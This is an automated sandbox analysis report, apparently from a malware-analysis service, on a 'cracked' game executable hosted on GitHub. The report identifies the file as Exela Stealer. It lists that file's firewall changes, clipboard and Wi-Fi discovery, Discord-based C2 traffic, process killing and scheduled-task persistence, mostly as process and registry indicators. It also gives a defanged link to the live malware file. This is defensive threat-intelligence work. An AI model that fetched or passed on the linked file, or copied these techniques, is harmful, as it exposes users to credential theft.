exelastealer | hxxps://github[.]com/S0UlS1232/AWP[.]GG-CRACKED/blob/main/Awp[.]gg%20CRACKED[.]exe

Resubmissions

19-12-2024 19:49

241219-yjr4fsxrf1 10

19-12-2024 19:39

241219-yc9d6axrbv 10

Analysis

max time kernel
1055s
max time network
1049s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
19-12-2024 19:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/S0UlS1232/AWP.GG-CRACKED/blob/main/Awp.gg%20CRACKED.exe

Score

10^/10

exelastealer collection defense_evasion discovery evasion persistence phishing privilege_escalation stealer upx

Malware Config

Signatures

Exela Stealer
Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.
stealer exelastealer
Exelastealer family
exelastealer
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 8 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5868	netsh.exe
4488	netsh.exe
2808	netsh.exe
7024	netsh.exe
5412	netsh.exe
3080	netsh.exe
3716	netsh.exe
6280	netsh.exe

A potential corporate email address has been identified in the URL: Interwght@500
phishing
A potential corporate email address has been identified in the URL: [email protected]
phishing
A potential corporate email address has been identified in the URL: [email protected]
phishing
A potential corporate email address has been identified in the URL: [email protected]
phishing

Clipboard Data 1 TTPs 8 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1476	cmd.exe
1532	powershell.exe
4476	cmd.exe
6224	powershell.exe
6564	cmd.exe
1440	powershell.exe
1996	cmd.exe
1956	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
5292	Comet_Updating_System_.exe
5812	Comet_Updating_System_.exe
2976	Nihon_Bootstrapper.exe

Loads dropped DLL 64 IoCs

pid	Process
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
5548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe
6548	ElectronV3.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 18 IoCs

Web Service

T1102

flow	ioc
917	discord.com
958	discord.com
1779	pastebin.com
746	discord.com
747	discord.com
913	discord.com
940	discord.com
1773	camo.githubusercontent.com
946	discord.com
1732	raw.githubusercontent.com
1733	raw.githubusercontent.com
748	discord.com
914	discord.com
931	discord.com
1780	pastebin.com
756	discord.com
927	discord.com
928	discord.com

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
921	ip-api.com
238	api.ipify.org
240	api.ipify.org
741	ip-api.com
911	ip-api.com

Network Service Discovery 1 TTPs 8 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
2840	ARP.EXE
3696	cmd.exe
6892	ARP.EXE
4724	cmd.exe
5672	ARP.EXE
4884	cmd.exe
3552	ARP.EXE
4716	cmd.exe

Enumerates processes with tasklist 1 TTPs 20 IoCs

discovery

Process Discovery

T1057

pid	Process
3224	tasklist.exe
388	tasklist.exe
636	tasklist.exe
188	tasklist.exe
6568	tasklist.exe
3404	tasklist.exe
2976	tasklist.exe
6544	tasklist.exe
6668	tasklist.exe
1980	tasklist.exe
844	tasklist.exe
6168	tasklist.exe
6532	tasklist.exe
6244	tasklist.exe
7008	tasklist.exe
5988	tasklist.exe
7076	tasklist.exe
5060	tasklist.exe
7132	tasklist.exe
5140	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
6604	cmd.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/5548-1864-0x00007FFFD4C40000-0x00007FFFD50AE000-memory.dmp	upx
behavioral1/memory/5548-1865-0x00007FFFD7910000-0x00007FFFD7934000-memory.dmp	upx
behavioral1/memory/5548-1866-0x00007FFFF2750000-0x00007FFFF275F000-memory.dmp	upx
behavioral1/memory/5548-1867-0x00007FFFECA30000-0x00007FFFECA49000-memory.dmp	upx
behavioral1/memory/5548-1868-0x00007FFFF23A0000-0x00007FFFF23AD000-memory.dmp	upx
behavioral1/memory/5548-1869-0x00007FFFE9140000-0x00007FFFE9159000-memory.dmp	upx
behavioral1/memory/5548-1870-0x00007FFFD78E0000-0x00007FFFD790D000-memory.dmp	upx
behavioral1/memory/5548-1871-0x00007FFFE9000000-0x00007FFFE901F000-memory.dmp	upx
behavioral1/memory/5548-1872-0x00007FFFD4AC0000-0x00007FFFD4C31000-memory.dmp	upx
behavioral1/memory/5548-1873-0x00007FFFD78B0000-0x00007FFFD78DE000-memory.dmp	upx
behavioral1/memory/5548-1878-0x00007FFFD7910000-0x00007FFFD7934000-memory.dmp	upx
behavioral1/memory/5548-1877-0x00007FFFD4230000-0x00007FFFD45A5000-memory.dmp	upx
behavioral1/memory/5548-1875-0x00007FFFD4A00000-0x00007FFFD4AB8000-memory.dmp	upx
behavioral1/memory/5548-1874-0x00007FFFD4C40000-0x00007FFFD50AE000-memory.dmp	upx
behavioral1/memory/5548-1880-0x00007FFFE8F40000-0x00007FFFE8F55000-memory.dmp	upx
behavioral1/memory/5548-1879-0x00007FFFF2750000-0x00007FFFF275F000-memory.dmp	upx
behavioral1/memory/5548-1882-0x00007FFFECAC0000-0x00007FFFECAD0000-memory.dmp	upx
behavioral1/memory/5548-1881-0x00007FFFECA30000-0x00007FFFECA49000-memory.dmp	upx
behavioral1/memory/5548-1884-0x00007FFFE8CE0000-0x00007FFFE8CF4000-memory.dmp	upx
behavioral1/memory/5548-1885-0x00007FFFE9140000-0x00007FFFE9159000-memory.dmp	upx
behavioral1/memory/5548-1883-0x00007FFFE8E10000-0x00007FFFE8E24000-memory.dmp	upx
behavioral1/memory/5548-1889-0x00007FFFE9000000-0x00007FFFE901F000-memory.dmp	upx
behavioral1/memory/5548-1888-0x0000017E5A260000-0x0000017E5A378000-memory.dmp	upx
behavioral1/memory/5548-1887-0x0000017E5A260000-0x0000017E5A378000-memory.dmp	upx
behavioral1/memory/5548-1886-0x00007FFFD78E0000-0x00007FFFD790D000-memory.dmp	upx
behavioral1/memory/5548-1893-0x00007FFFD78B0000-0x00007FFFD78DE000-memory.dmp	upx
behavioral1/memory/5548-1892-0x00007FFFD6E60000-0x00007FFFD6E82000-memory.dmp	upx
behavioral1/memory/5548-1891-0x00007FFFE4A90000-0x00007FFFE4AA7000-memory.dmp	upx
behavioral1/memory/5548-1890-0x00007FFFD4AC0000-0x00007FFFD4C31000-memory.dmp	upx
behavioral1/memory/5548-1894-0x00007FFFD4A00000-0x00007FFFD4AB8000-memory.dmp	upx
behavioral1/memory/5548-1900-0x00007FFFE8F40000-0x00007FFFE8F55000-memory.dmp	upx
behavioral1/memory/5548-1899-0x00007FFFDF2C0000-0x00007FFFDF2D9000-memory.dmp	upx
behavioral1/memory/5548-1898-0x00007FFFD4810000-0x00007FFFD48DF000-memory.dmp	upx
behavioral1/memory/5548-1897-0x00007FFFD4230000-0x00007FFFD45A5000-memory.dmp	upx
behavioral1/memory/5548-1896-0x00007FFFDF900000-0x00007FFFDF917000-memory.dmp	upx
behavioral1/memory/5548-1901-0x00007FFFD6E10000-0x00007FFFD6E5D000-memory.dmp	upx
behavioral1/memory/5548-1905-0x00007FFFE8CE0000-0x00007FFFE8CF4000-memory.dmp	upx
behavioral1/memory/5548-1904-0x00007FFFD6DF0000-0x00007FFFD6E0E000-memory.dmp	upx
behavioral1/memory/5548-1906-0x00007FFFD3A90000-0x00007FFFD422A000-memory.dmp	upx
behavioral1/memory/5548-1903-0x00007FFFE9D40000-0x00007FFFE9D4A000-memory.dmp	upx
behavioral1/memory/5548-1902-0x00007FFFDA370000-0x00007FFFDA381000-memory.dmp	upx
behavioral1/memory/5548-1916-0x00007FFFD68A0000-0x00007FFFD68D7000-memory.dmp	upx
behavioral1/memory/5548-1928-0x0000017E5A260000-0x0000017E5A378000-memory.dmp	upx
behavioral1/memory/5548-1934-0x00007FFFE4A90000-0x00007FFFE4AA7000-memory.dmp	upx
behavioral1/memory/6548-2039-0x00007FFFD2E50000-0x00007FFFD32BE000-memory.dmp	upx
behavioral1/memory/5548-2038-0x00007FFFD6E60000-0x00007FFFD6E82000-memory.dmp	upx
behavioral1/memory/6548-2042-0x00007FFFD4740000-0x00007FFFD4764000-memory.dmp	upx
behavioral1/memory/6548-2043-0x00007FFFE8DC0000-0x00007FFFE8DCF000-memory.dmp	upx
behavioral1/memory/5548-2041-0x00007FFFDF900000-0x00007FFFDF917000-memory.dmp	upx
behavioral1/memory/6548-2045-0x00007FFFE45E0000-0x00007FFFE45ED000-memory.dmp	upx
behavioral1/memory/6548-2044-0x00007FFFD4720000-0x00007FFFD4739000-memory.dmp	upx
behavioral1/memory/6548-2048-0x00007FFFD2E30000-0x00007FFFD2E4F000-memory.dmp	upx
behavioral1/memory/6548-2047-0x00007FFFD4700000-0x00007FFFD4719000-memory.dmp	upx
behavioral1/memory/5548-2046-0x00007FFFD3A90000-0x00007FFFD422A000-memory.dmp	upx
behavioral1/memory/6548-2051-0x00007FFFD2C80000-0x00007FFFD2CAE000-memory.dmp	upx
behavioral1/memory/6548-2053-0x00007FFFD2BC0000-0x00007FFFD2C78000-memory.dmp	upx
behavioral1/memory/6548-2052-0x00007FFFD2660000-0x00007FFFD29D5000-memory.dmp	upx
behavioral1/memory/6548-2050-0x00007FFFD46D0000-0x00007FFFD46FD000-memory.dmp	upx
behavioral1/memory/6548-2049-0x00007FFFD2CB0000-0x00007FFFD2E21000-memory.dmp	upx
behavioral1/memory/6548-2060-0x00007FFFDF820000-0x00007FFFDF830000-memory.dmp	upx
behavioral1/memory/6548-2067-0x00007FFFD4720000-0x00007FFFD4739000-memory.dmp	upx
behavioral1/memory/6548-2066-0x00007FFFDFF10000-0x00007FFFDFF32000-memory.dmp	upx
behavioral1/memory/6548-2065-0x00007FFFE9D60000-0x00007FFFE9D77000-memory.dmp	upx
behavioral1/memory/6548-2064-0x00007FFFE8DC0000-0x00007FFFE8DCF000-memory.dmp	upx

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\6a421d3c-27cf-4d1c-9fa8-f6258968ccc3.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20241219195421.pma	setup.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\CbsTemp	TiWorker.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File opened for modification	C:\Windows\CbsTemp	TiWorker.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
60	sc.exe
3212	sc.exe
2796	sc.exe
1216	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 36 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Program crash 3 IoCs

pid	pid_target	Process	procid_target
4880	5292	WerFault.exe	847
3420	5812	WerFault.exe	852
5012	2976	WerFault.exe	863

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Comet_Updating_System_.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Comet_Updating_System_.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Nihon_Bootstrapper.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 8 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1536	netsh.exe
2756	cmd.exe
5160	netsh.exe
2180	cmd.exe
6572	netsh.exe
892	cmd.exe
5228	netsh.exe
6776	cmd.exe

System Network Connections Discovery 1 TTPs 4 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
3676	NETSTAT.EXE
4636	NETSTAT.EXE
6072	NETSTAT.EXE
4816	NETSTAT.EXE

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Collects information from the system 1 TTPs 4 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

pid	Process
1440	WMIC.exe
4692	WMIC.exe
4340	WMIC.exe
5124	WMIC.exe

Detects videocard installed 1 TTPs 4 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5532	WMIC.exe
1632	WMIC.exe
6900	WMIC.exe
6828	WMIC.exe

Enumerates system info in registry 2 TTPs 15 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers network information 2 TTPs 8 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4636	NETSTAT.EXE
1708	ipconfig.exe
6072	NETSTAT.EXE
2556	ipconfig.exe
4816	NETSTAT.EXE
6820	ipconfig.exe
3676	NETSTAT.EXE
4740	ipconfig.exe

Gathers system information 1 TTPs 4 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5216	systeminfo.exe
1136	systeminfo.exe
6004	systeminfo.exe
6988	systeminfo.exe

Kills process with taskkill 43 IoCs

evasion

pid	Process
2628	taskkill.exe
6444	taskkill.exe
2936	taskkill.exe
6796	taskkill.exe
1828	taskkill.exe
6440	taskkill.exe
4912	taskkill.exe
4380	taskkill.exe
6428	taskkill.exe
7076	taskkill.exe
6652	taskkill.exe
544	taskkill.exe
1172	taskkill.exe
3764	taskkill.exe
6412	taskkill.exe
1276	taskkill.exe
6800	taskkill.exe
5456	taskkill.exe
2992	taskkill.exe
6040	taskkill.exe
2672	taskkill.exe
4148	taskkill.exe
5960	taskkill.exe
3936	taskkill.exe
6488	taskkill.exe
5388	taskkill.exe
6764	taskkill.exe
6236	taskkill.exe
2372	taskkill.exe
2556	taskkill.exe
1580	taskkill.exe
5560	taskkill.exe
6692	taskkill.exe
1712	taskkill.exe
5240	taskkill.exe
3660	taskkill.exe
968	taskkill.exe
7036	taskkill.exe
4032	taskkill.exe
5124	taskkill.exe
3540	taskkill.exe
2660	taskkill.exe
4624	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133791120849056019"	chrome.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1006597246-3150276181-3318461161-1000\{342BA9F3-5AA5-4B72-9654-C832A8FE2463}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1006597246-3150276181-3318461161-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1006597246-3150276181-3318461161-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-1006597246-3150276181-3318461161-1000_Classes\Local Settings	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 77571.crdownload:SmartScreen	msedge.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6800	schtasks.exe
6872	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4416	msedge.exe
4416	msedge.exe
1152	msedge.exe
1152	msedge.exe
1096	identity_helper.exe
1096	identity_helper.exe
2640	msedge.exe
2640	msedge.exe
2640	msedge.exe
2640	msedge.exe
2460	msedge.exe
2460	msedge.exe
5404	msedge.exe
5404	msedge.exe
5532	WMIC.exe
5532	WMIC.exe
5532	WMIC.exe
5532	WMIC.exe
6176	WMIC.exe
6176	WMIC.exe
6176	WMIC.exe
6176	WMIC.exe
6380	WMIC.exe
6380	WMIC.exe
6380	WMIC.exe
6380	WMIC.exe
6524	WMIC.exe
6524	WMIC.exe
6524	WMIC.exe
6524	WMIC.exe
1956	powershell.exe
1956	powershell.exe
1956	powershell.exe
1440	WMIC.exe
1440	WMIC.exe
1440	WMIC.exe
1440	WMIC.exe
6096	WMIC.exe
6096	WMIC.exe
6096	WMIC.exe
6096	WMIC.exe
2232	WMIC.exe
2232	WMIC.exe
2232	WMIC.exe
2232	WMIC.exe
5488	WMIC.exe
5488	WMIC.exe
5488	WMIC.exe
5488	WMIC.exe
6772	chrome.exe
6772	chrome.exe
3948	msedge.exe
3948	msedge.exe
4324	msedge.exe
4324	msedge.exe
6756	identity_helper.exe
6756	identity_helper.exe
6972	msedge.exe
6972	msedge.exe
1632	WMIC.exe
1632	WMIC.exe
1632	WMIC.exe
1632	WMIC.exe
1820	WMIC.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs

pid	Process
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
6772	chrome.exe
6772	chrome.exe
6772	chrome.exe
4324	msedge.exe
4324	msedge.exe
4324	msedge.exe
4324	msedge.exe
4324	msedge.exe
4324	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: 33	5476	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	5476	AUDIODG.EXE
Token: SeIncreaseQuotaPrivilege	5532	WMIC.exe
Token: SeSecurityPrivilege	5532	WMIC.exe
Token: SeTakeOwnershipPrivilege	5532	WMIC.exe
Token: SeLoadDriverPrivilege	5532	WMIC.exe
Token: SeSystemProfilePrivilege	5532	WMIC.exe
Token: SeSystemtimePrivilege	5532	WMIC.exe
Token: SeProfSingleProcessPrivilege	5532	WMIC.exe
Token: SeIncBasePriorityPrivilege	5532	WMIC.exe
Token: SeCreatePagefilePrivilege	5532	WMIC.exe
Token: SeBackupPrivilege	5532	WMIC.exe
Token: SeRestorePrivilege	5532	WMIC.exe
Token: SeShutdownPrivilege	5532	WMIC.exe
Token: SeDebugPrivilege	5532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5532	WMIC.exe
Token: SeRemoteShutdownPrivilege	5532	WMIC.exe
Token: SeUndockPrivilege	5532	WMIC.exe
Token: SeManageVolumePrivilege	5532	WMIC.exe
Token: 33	5532	WMIC.exe
Token: 34	5532	WMIC.exe
Token: 35	5532	WMIC.exe
Token: 36	5532	WMIC.exe
Token: SeIncreaseQuotaPrivilege	6176	WMIC.exe
Token: SeSecurityPrivilege	6176	WMIC.exe
Token: SeTakeOwnershipPrivilege	6176	WMIC.exe
Token: SeLoadDriverPrivilege	6176	WMIC.exe
Token: SeSystemProfilePrivilege	6176	WMIC.exe
Token: SeSystemtimePrivilege	6176	WMIC.exe
Token: SeProfSingleProcessPrivilege	6176	WMIC.exe
Token: SeIncBasePriorityPrivilege	6176	WMIC.exe
Token: SeCreatePagefilePrivilege	6176	WMIC.exe
Token: SeBackupPrivilege	6176	WMIC.exe
Token: SeRestorePrivilege	6176	WMIC.exe
Token: SeShutdownPrivilege	6176	WMIC.exe
